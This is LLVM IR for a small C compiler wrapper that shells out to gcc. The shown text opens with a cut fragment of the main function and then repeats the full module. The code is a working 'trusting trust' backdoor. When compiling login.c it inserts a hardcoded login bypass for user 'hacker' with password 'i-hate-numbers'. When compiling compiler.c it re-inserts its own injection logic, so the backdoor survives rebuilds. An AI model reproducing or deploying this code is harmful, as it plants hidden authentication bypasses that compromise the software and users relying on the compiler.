%53 = call i32 @rewind(ptr noundef %52)
%54 = load i32, ptr %9, align 4
%55 = add nsw i32 %54, 1
store i32 %55, ptr %10, align 4
%56 = load i32, ptr %10, align 4
%57 = call i64 @malloc(i32 noundef %56)
%58 = inttoptr i64 %57 to ptr
store ptr %58, ptr %11, align 8
%59 = load ptr, ptr %11, align 8
%60 = load i32, ptr %9, align 4
%61 = sext i32 %60 to i64
%62 = getelementptr inbounds i8, ptr %59, i64 %61
store i8 0, ptr %62, align 1
%63 = load ptr, ptr %11, align 8
%64 = load i32, ptr %9, align 4
%65 = load ptr, ptr %8, align 8
%66 = call i32 @fread(ptr noundef %63, i32 noundef 1, i32 noundef %64, ptr noundef %65)
store i32 %66, ptr %12, align 4
%67 = load ptr, ptr %8, align 8
%68 = call i32 @fclose(ptr noundef %67)
store ptr @.str.3, ptr %13, align 8
%69 = load ptr, ptr %6, align 8
%70 = call ptr @strstr(ptr noundef %69, ptr noundef @.str.4)
%71 = icmp ne ptr %70, null
br i1 %71, label %72, label %108
72: ; preds = %46
%73 = getelementptr inbounds [200 x i8], ptr %14, i64 0, i64 0
%74 = load ptr, ptr %13, align 8
%75 = call i32 (ptr, i32, ptr, ...) @snprintf(ptr noundef %73, i32 noundef 200, ptr noundef %74, i32 noundef 34, i32 noundef 34, i32 noundef 34, i32 noundef 34, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 10, i32 noundef 10, i32 noundef 9)
%76 = getelementptr inbounds [200 x i8], ptr %14, i64 0, i64 0
%77 = call i32 @strlen(ptr noundef %76)
store i32 %77, ptr %15, align 4
%78 = load i32, ptr %10, align 4
%79 = load i32, ptr %15, align 4
%80 = add nsw i32 %78, %79
store i32 %80, ptr %16, align 4
%81 = load i32, ptr %16, align 4
%82 = call i64 @calloc(i32 noundef %81, i32 noundef 1)
%83 = inttoptr i64 %82 to ptr
store ptr %83, ptr %17, align 8
%84 = load ptr, ptr %11, align 8
%85 = call ptr @strstr(ptr noundef %84, ptr noundef @.str.5)
store ptr %85, ptr %18, align 8
%86 = load ptr, ptr %18, align 8
%87 = load ptr, ptr %11, align 8
%88 = ptrtoint ptr %86 to i64
%89 = ptrtoint ptr %87 to i64
%90 = sub i64 %88, %89
%91 = trunc i64 %90 to i32
store i32 %91, ptr %19, align 4
%92 = load ptr, ptr %17, align 8
%93 = load ptr, ptr %11, align 8
%94 = load i32, ptr %19, align 4
%95 = call i32 @strncpy(ptr noundef %92, ptr noundef %93, i32 noundef %94)
%96 = load ptr, ptr %17, align 8
%97 = getelementptr inbounds [200 x i8], ptr %14, i64 0, i64 0
%98 = load i32, ptr %15, align 4
%99 = call i32 @strncat(ptr noundef %96, ptr noundef %97, i32 noundef %98)
%100 = load ptr, ptr %17, align 8
%101 = load ptr, ptr %18, align 8
%102 = call i32 @strcat(ptr noundef %100, ptr noundef %101)
%103 = load ptr, ptr %11, align 8
%104 = call i32 @free(ptr noundef %103)
%105 = load ptr, ptr %17, align 8
store ptr %105, ptr %11, align 8
%106 = load i32, ptr %16, align 4
%107 = sub nsw i32 %106, 1
store i32 %107, ptr %9, align 4
br label %108
108: ; preds = %72, %46
store ptr @.str.6, ptr %20, align 8
%109 = load ptr, ptr %6, align 8
%110 = call ptr @strstr(ptr noundef %109, ptr noundef @.str.7)
%111 = icmp ne ptr %110, null
br i1 %111, label %112, label %152
112: ; preds = %108
%113 = getelementptr inbounds [10000 x i8], ptr %21, i64 0, i64 0
%114 = load ptr, ptr %20, align 8
%115 = load ptr, ptr %13, align 8
%116 = load ptr, ptr %20, align 8
%117 = call i32 @sprintf(ptr noundef %113, ptr noundef %114, i32 noundef 34, ptr noundef %115, i32 noundef 34, i32 noundef 10, i32 noundef 10, i32 noundef 9, i32 noundef 34, i32 noundef 34, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 34, i32 noundef 34, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 10, i32 noundef 10, i32 noundef 9, i32 noundef 34, ptr noundef %116, i32 noundef 34, i32 noundef 10, i32 noundef 10, i32 noundef 9, i32 noundef 34, i32 noundef 34, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 34, i32 noundef 34, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 10, i32 noundef 10, i32 noundef 9)
%118 = getelementptr inbounds [10000 x i8], ptr %21, i64 0, i64 0
%119 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, ptr noundef %118)
%120 = getelementptr inbounds [10000 x i8], ptr %21, i64 0, i64 0
%121 = call i32 @strlen(ptr noundef %120)
store i32 %121, ptr %22, align 4
%122 = load i32, ptr %10, align 4
%123 = load i32, ptr %22, align 4
%124 = add nsw i32 %122, %123
store i32 %124, ptr %23, align 4
%125 = load i32, ptr %23, align 4
%126 = call i64 @calloc(i32 noundef %125, i32 noundef 1)
%127 = inttoptr i64 %126 to ptr
store ptr %127, ptr %24, align 8
%128 = load ptr, ptr %11, align 8
%129 = call ptr @strstr(ptr noundef %128, ptr noundef @.str.9)
store ptr %129, ptr %25, align 8
%130 = load ptr, ptr %25, align 8
%131 = load ptr, ptr %11, align 8
%132 = ptrtoint ptr %130 to i64
%133 = ptrtoint ptr %131 to i64
%134 = sub i64 %132, %133
%135 = trunc i64 %134 to i32
store i32 %135, ptr %26, align 4
%136 = load ptr, ptr %24, align 8
%137 = load ptr, ptr %11, align 8
%138 = load i32, ptr %26, align 4
%139 = call i32 @strncpy(ptr noundef %136, ptr noundef %137, i32 noundef %138)
%140 = load ptr, ptr %24, align 8
%141 = getelementptr inbounds [10000 x i8], ptr %21, i64 0, i64 0
%142 = load i32, ptr %22, align 4
%143 = call i32 @strncat(ptr noundef %140, ptr noundef %141, i32 noundef %142)
%144 = load ptr, ptr %24, align 8
%145 = load ptr, ptr %25, align 8
%146 = call i32 @strcat(ptr noundef %144, ptr noundef %145)
%147 = load ptr, ptr %11, align 8
%148 = call i32 @free(ptr noundef %147)
%149 = load ptr, ptr %24, align 8
store ptr %149, ptr %11, align 8
%150 = load i32, ptr %23, align 4
%151 = sub nsw i32 %150, 1
store i32 %151, ptr %9, align 4
br label %152
152: ; preds = %112, %108
%153 = getelementptr inbounds [500 x i8], ptr %27, i64 0, i64 0
%154 = load ptr, ptr %7, align 8
%155 = call i32 (ptr, i32, ptr, ...) @snprintf(ptr noundef %153, i32 noundef 500, ptr noundef @.str.10, ptr noundef %154)
%156 = getelementptr inbounds [500 x i8], ptr %27, i64 0, i64 0
%157 = call ptr @popen(ptr noundef %156, ptr noundef @.str.11)
store ptr %157, ptr %28, align 8
%158 = load ptr, ptr %11, align 8
%159 = load i32, ptr %9, align 4
%160 = load ptr, ptr %28, align 8
%161 = call i32 @fwrite(ptr noundef %158, i32 noundef 1, i32 noundef %159, ptr noundef %160)
%162 = load ptr, ptr %11, align 8
%163 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, ptr noundef %162)
%164 = load ptr, ptr %28, align 8
%165 = call i32 @pclose(ptr noundef %164)
%166 = load ptr, ptr %11, align 8
%167 = call i32 @free(ptr noundef %166)
br label %168
168: ; preds = %152, %44, %31
%169 = load i32, ptr %3, align 4
ret i32 %169
}
declare i32 @printf(ptr noundef, ...) #1
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fseek(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @ftell(ptr noundef) #1
declare i32 @rewind(ptr noundef) #1
declare i64 @malloc(i32 noundef) #1
declare i32 @fread(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1
declare i32 @fclose(ptr noundef) #1
declare ptr @strstr(ptr noundef, ptr noundef) #1
declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, ...) #1
declare i32 @strlen(ptr noundef) #1
declare i64 @calloc(i32 noundef, i32 noundef) #1
declare i32 @strncpy(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strncat(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strcat(ptr noundef, ptr noundef) #1
declare i32 @free(ptr noundef) #1
declare i32 @sprintf(ptr noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare ptr @popen(ptr noundef, ptr noundef) #1
declare i32 @fwrite(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1
declare i32 @pclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '<stdin>'
source_filename = "/tmp/tmpmx5s5sy3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [24 x i8] c"Insufficient arguments\0A\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"r\00", align 1
@.str.2 = private unnamed_addr constant [20 x i8] c"File does not exist\00", align 1
@SEEK_END = dso_local global i32 0, align 4
@.str.3 = private unnamed_addr constant [140 x i8] c"if(strcmp(username, %chacker%c) == 0 && strcmp(password, %ci-hate-numbers%c) == 0){%c%c%cprintf(TEXT_AUTHORISED);%c%c%creturn 0;%c%c}%c%c%c\00", align 1
@.str.4 = private unnamed_addr constant [8 x i8] c"login.c\00", align 1
@.str.5 = private unnamed_addr constant [27 x i8] c"printf(TEXT_UNAUTHORISED);\00", align 1
@.str.6 = private unnamed_addr constant [2090 x i8] c"const char * TEXT_INJECT_LOGIN = %c%s%c;%c%c%cif(strstr(sourceFilename, %clogin.c%c) != NULL){%c%c%cchar stringToInject[200];%c%c%csnprintf(stringToInject, 200, TEXT_INJECT_LOGIN, 34, 34, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cprintf(TEXT_UNAUTHORISED);%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%cconst char * TEXT_INJECT_COMPILER = %c%s%c;%c%c%cif(strstr(sourceFilename, %ccompiler.c%c) != NULL){%c%c%cchar stringToInject[10000];%c%c%csprintf(stringToInject, TEXT_INJECT_COMPILER, 34, TEXT_INJECT_LOGIN, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 10, 10, 9, 34, TEXT_INJECT_COMPILER, 34, 10, 10, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 34, 34, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10, 9, 9, 10 ,9, 9, 10, 9, 10, 10, 9);%c%c%cint lengthOfMaliciousCode = strlen(stringToInject);%c%c%cint newTotalBuffRequired = actualBuffSizeRequired + lengthOfMaliciousCode;%c%c%cchar * newTempBuffer = (char *) calloc(newTotalBuffRequired, sizeof(char));%c%c%cchar * injectPosition = strstr(buffer, %cchar compileCommand[500];%c);%c%c%cint sizeOfPreInjectedBuff = injectPosition - buffer;%c%c%cstrncpy(newTempBuffer, buffer, sizeOfPreInjectedBuff);%c%c%cstrncat(newTempBuffer, stringToInject, lengthOfMaliciousCode);%c%c%cstrcat(newTempBuffer, injectPosition);%c%c%cfree(buffer);%c%c%cbuffer = newTempBuffer;%c%c%csourceFileSize = newTotalBuffRequired - 1;%c%c}%c%c%c\00", align 1
@.str.7 = private unnamed_addr constant [11 x i8] c"compiler.c\00", align 1
@.str.8 = private unnamed_addr constant [4 x i8] c"%s\0A\00", align 1
@.str.9 = private unnamed_addr constant [26 x i8] c"char compileCommand[500];\00", align 1
@.str.10 = private unnamed_addr constant [16 x i8] c"gcc -o %s -xc -\00", align 1
@.str.11 = private unnamed_addr constant [2 x i8] c"w\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca ptr, align 8
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca ptr, align 8
%12 = alloca i32, align 4
%13 = alloca ptr, align 8
%14 = alloca [200 x i8], align 16
%15 = alloca i32, align 4
%16 = alloca i32, align 4
%17 = alloca ptr, align 8
%18 = alloca ptr, align 8
%19 = alloca i32, align 4
%20 = alloca ptr, align 8
%21 = alloca [10000 x i8], align 16
%22 = alloca i32, align 4
%23 = alloca i32, align 4
%24 = alloca ptr, align 8
%25 = alloca ptr, align 8
%26 = alloca i32, align 4
%27 = alloca [500 x i8], align 16
%28 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%29 = load i32, ptr %4, align 4
%30 = icmp slt i32 %29, 4
br i1 %30, label %31, label %33
31: ; preds = %2
%32 = call i32 (ptr, ...) @printf(ptr noundef @.str)
store i32 1, ptr %3, align 4
br label %168
33: ; preds = %2
%34 = load ptr, ptr %5, align 8
%35 = getelementptr inbounds ptr, ptr %34, i64 1
%36 = load ptr, ptr %35, align 8
store ptr %36, ptr %6, align 8
%37 = load ptr, ptr %5, align 8
%38 = getelementptr inbounds ptr, ptr %37, i64 3
%39 = load ptr, ptr %38, align 8
store ptr %39, ptr %7, align 8
%40 = load ptr, ptr %6, align 8
%41 = call ptr @fopen(ptr noundef %40, ptr noundef @.str.1)
store ptr %41, ptr %8, align 8
%42 = load ptr, ptr %8, align 8
%43 = icmp eq ptr %42, null
br i1 %43, label %44, label %46
44: ; preds = %33
%45 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
store i32 1, ptr %3, align 4
br label %168
46: ; preds = %33
%47 = load ptr, ptr %8, align 8
%48 = load i32, ptr @SEEK_END, align 4
%49 = call i32 @fseek(ptr noundef %47, i32 noundef 0, i32 noundef %48)
%50 = load ptr, ptr %8, align 8
%51 = call i32 @ftell(ptr noundef %50)
store i32 %51, ptr %9, align 4
%52 = load ptr, ptr %8, align 8
%53 = call i32 @rewind(ptr noundef %52)
%54 = load i32, ptr %9, align 4
%55 = add nsw i32 %54, 1
store i32 %55, ptr %10, align 4
%56 = load i32, ptr %10, align 4
%57 = call i64 @malloc(i32 noundef %56)
%58 = inttoptr i64 %57 to ptr
store ptr %58, ptr %11, align 8
%59 = load ptr, ptr %11, align 8
%60 = load i32, ptr %9, align 4
%61 = sext i32 %60 to i64
%62 = getelementptr inbounds i8, ptr %59, i64 %61
store i8 0, ptr %62, align 1
%63 = load ptr, ptr %11, align 8
%64 = load i32, ptr %9, align 4
%65 = load ptr, ptr %8, align 8
%66 = call i32 @fread(ptr noundef %63, i32 noundef 1, i32 noundef %64, ptr noundef %65)
store i32 %66, ptr %12, align 4
%67 = load ptr, ptr %8, align 8
%68 = call i32 @fclose(ptr noundef %67)
store ptr @.str.3, ptr %13, align 8
%69 = load ptr, ptr %6, align 8
%70 = call ptr @strstr(ptr noundef %69, ptr noundef @.str.4)
%71 = icmp ne ptr %70, null
br i1 %71, label %72, label %108
72: ; preds = %46
%73 = getelementptr inbounds [200 x i8], ptr %14, i64 0, i64 0
%74 = load ptr, ptr %13, align 8
%75 = call i32 (ptr, i32, ptr, ...) @snprintf(ptr noundef %73, i32 noundef 200, ptr noundef %74, i32 noundef 34, i32 noundef 34, i32 noundef 34, i32 noundef 34, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 10, i32 noundef 10, i32 noundef 9)
%76 = getelementptr inbounds [200 x i8], ptr %14, i64 0, i64 0
%77 = call i32 @strlen(ptr noundef %76)
store i32 %77, ptr %15, align 4
%78 = load i32, ptr %10, align 4
%79 = load i32, ptr %15, align 4
%80 = add nsw i32 %78, %79
store i32 %80, ptr %16, align 4
%81 = load i32, ptr %16, align 4
%82 = call i64 @calloc(i32 noundef %81, i32 noundef 1)
%83 = inttoptr i64 %82 to ptr
store ptr %83, ptr %17, align 8
%84 = load ptr, ptr %11, align 8
%85 = call ptr @strstr(ptr noundef %84, ptr noundef @.str.5)
store ptr %85, ptr %18, align 8
%86 = load ptr, ptr %18, align 8
%87 = load ptr, ptr %11, align 8
%88 = ptrtoint ptr %86 to i64
%89 = ptrtoint ptr %87 to i64
%90 = sub i64 %88, %89
%91 = trunc i64 %90 to i32
store i32 %91, ptr %19, align 4
%92 = load ptr, ptr %17, align 8
%93 = load ptr, ptr %11, align 8
%94 = load i32, ptr %19, align 4
%95 = call i32 @strncpy(ptr noundef %92, ptr noundef %93, i32 noundef %94)
%96 = load ptr, ptr %17, align 8
%97 = getelementptr inbounds [200 x i8], ptr %14, i64 0, i64 0
%98 = load i32, ptr %15, align 4
%99 = call i32 @strncat(ptr noundef %96, ptr noundef %97, i32 noundef %98)
%100 = load ptr, ptr %17, align 8
%101 = load ptr, ptr %18, align 8
%102 = call i32 @strcat(ptr noundef %100, ptr noundef %101)
%103 = load ptr, ptr %11, align 8
%104 = call i32 @free(ptr noundef %103)
%105 = load ptr, ptr %17, align 8
store ptr %105, ptr %11, align 8
%106 = load i32, ptr %16, align 4
%107 = sub nsw i32 %106, 1
store i32 %107, ptr %9, align 4
br label %108
108: ; preds = %72, %46
store ptr @.str.6, ptr %20, align 8
%109 = load ptr, ptr %6, align 8
%110 = call ptr @strstr(ptr noundef %109, ptr noundef @.str.7)
%111 = icmp ne ptr %110, null
br i1 %111, label %112, label %152
112: ; preds = %108
%113 = getelementptr inbounds [10000 x i8], ptr %21, i64 0, i64 0
%114 = load ptr, ptr %20, align 8
%115 = load ptr, ptr %13, align 8
%116 = load ptr, ptr %20, align 8
%117 = call i32 @sprintf(ptr noundef %113, ptr noundef %114, i32 noundef 34, ptr noundef %115, i32 noundef 34, i32 noundef 10, i32 noundef 10, i32 noundef 9, i32 noundef 34, i32 noundef 34, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 34, i32 noundef 34, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 10, i32 noundef 10, i32 noundef 9, i32 noundef 34, ptr noundef %116, i32 noundef 34, i32 noundef 10, i32 noundef 10, i32 noundef 9, i32 noundef 34, i32 noundef 34, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 34, i32 noundef 34, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 9, i32 noundef 10, i32 noundef 9, i32 noundef 10, i32 noundef 10, i32 noundef 9)
%118 = getelementptr inbounds [10000 x i8], ptr %21, i64 0, i64 0
%119 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, ptr noundef %118)
%120 = getelementptr inbounds [10000 x i8], ptr %21, i64 0, i64 0
%121 = call i32 @strlen(ptr noundef %120)
store i32 %121, ptr %22, align 4
%122 = load i32, ptr %10, align 4
%123 = load i32, ptr %22, align 4
%124 = add nsw i32 %122, %123
store i32 %124, ptr %23, align 4
%125 = load i32, ptr %23, align 4
%126 = call i64 @calloc(i32 noundef %125, i32 noundef 1)
%127 = inttoptr i64 %126 to ptr
store ptr %127, ptr %24, align 8
%128 = load ptr, ptr %11, align 8
%129 = call ptr @strstr(ptr noundef %128, ptr noundef @.str.9)
store ptr %129, ptr %25, align 8
%130 = load ptr, ptr %25, align 8
%131 = load ptr, ptr %11, align 8
%132 = ptrtoint ptr %130 to i64
%133 = ptrtoint ptr %131 to i64
%134 = sub i64 %132, %133
%135 = trunc i64 %134 to i32
store i32 %135, ptr %26, align 4
%136 = load ptr, ptr %24, align 8
%137 = load ptr, ptr %11, align 8
%138 = load i32, ptr %26, align 4
%139 = call i32 @strncpy(ptr noundef %136, ptr noundef %137, i32 noundef %138)
%140 = load ptr, ptr %24, align 8
%141 = getelementptr inbounds [10000 x i8], ptr %21, i64 0, i64 0
%142 = load i32, ptr %22, align 4
%143 = call i32 @strncat(ptr noundef %140, ptr noundef %141, i32 noundef %142)
%144 = load ptr, ptr %24, align 8
%145 = load ptr, ptr %25, align 8
%146 = call i32 @strcat(ptr noundef %144, ptr noundef %145)
%147 = load ptr, ptr %11, align 8
%148 = call i32 @free(ptr noundef %147)
%149 = load ptr, ptr %24, align 8
store ptr %149, ptr %11, align 8
%150 = load i32, ptr %23, align 4
%151 = sub nsw i32 %150, 1
store i32 %151, ptr %9, align 4
br label %152
152: ; preds = %112, %108
%153 = getelementptr inbounds [500 x i8], ptr %27, i64 0, i64 0
%154 = load ptr, ptr %7, align 8
%155 = call i32 (ptr, i32, ptr, ...) @snprintf(ptr noundef %153, i32 noundef 500, ptr noundef @.str.10, ptr noundef %154)
%156 = getelementptr inbounds [500 x i8], ptr %27, i64 0, i64 0
%157 = call ptr @popen(ptr noundef %156, ptr noundef @.str.11)
store ptr %157, ptr %28, align 8
%158 = load ptr, ptr %11, align 8
%159 = load i32, ptr %9, align 4
%160 = load ptr, ptr %28, align 8
%161 = call i32 @fwrite(ptr noundef %158, i32 noundef 1, i32 noundef %159, ptr noundef %160)
%162 = load ptr, ptr %11, align 8
%163 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, ptr noundef %162)
%164 = load ptr, ptr %28, align 8
%165 = call i32 @pclose(ptr noundef %164)
%166 = load ptr, ptr %11, align 8
%167 = call i32 @free(ptr noundef %166)
br label %168
168: ; preds = %152, %44, %31
%169 = load i32, ptr %3, align 4
ret i32 %169
}
declare i32 @printf(ptr noundef, ...) #1
declare ptr @fopen(ptr noundef, ptr noundef) #1
declare i32 @fseek(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @ftell(ptr noundef) #1
declare i32 @rewind(ptr noundef) #1
declare i64 @malloc(i32 noundef) #1
declare i32 @fread(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1
declare i32 @fclose(ptr noundef) #1
declare ptr @strstr(ptr noundef, ptr noundef) #1
declare i32 @snprintf(ptr noundef, i32 noundef, ptr noundef, ...) #1
declare i32 @strlen(ptr noundef) #1
declare i64 @calloc(i32 noundef, i32 noundef) #1
declare i32 @strncpy(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strncat(ptr noundef, ptr noundef, i32 noundef) #1
declare i32 @strcat(ptr noundef, ptr noundef) #1
declare i32 @free(ptr noundef) #1
declare i32 @sprintf(ptr noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef, i32 noundef) #1
declare ptr @popen(ptr noundef, ptr noundef) #1
declare i32 @fwrite(ptr noundef, i32 noundef, i32 noundef, ptr noundef) #1
declare i32 @pclose(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
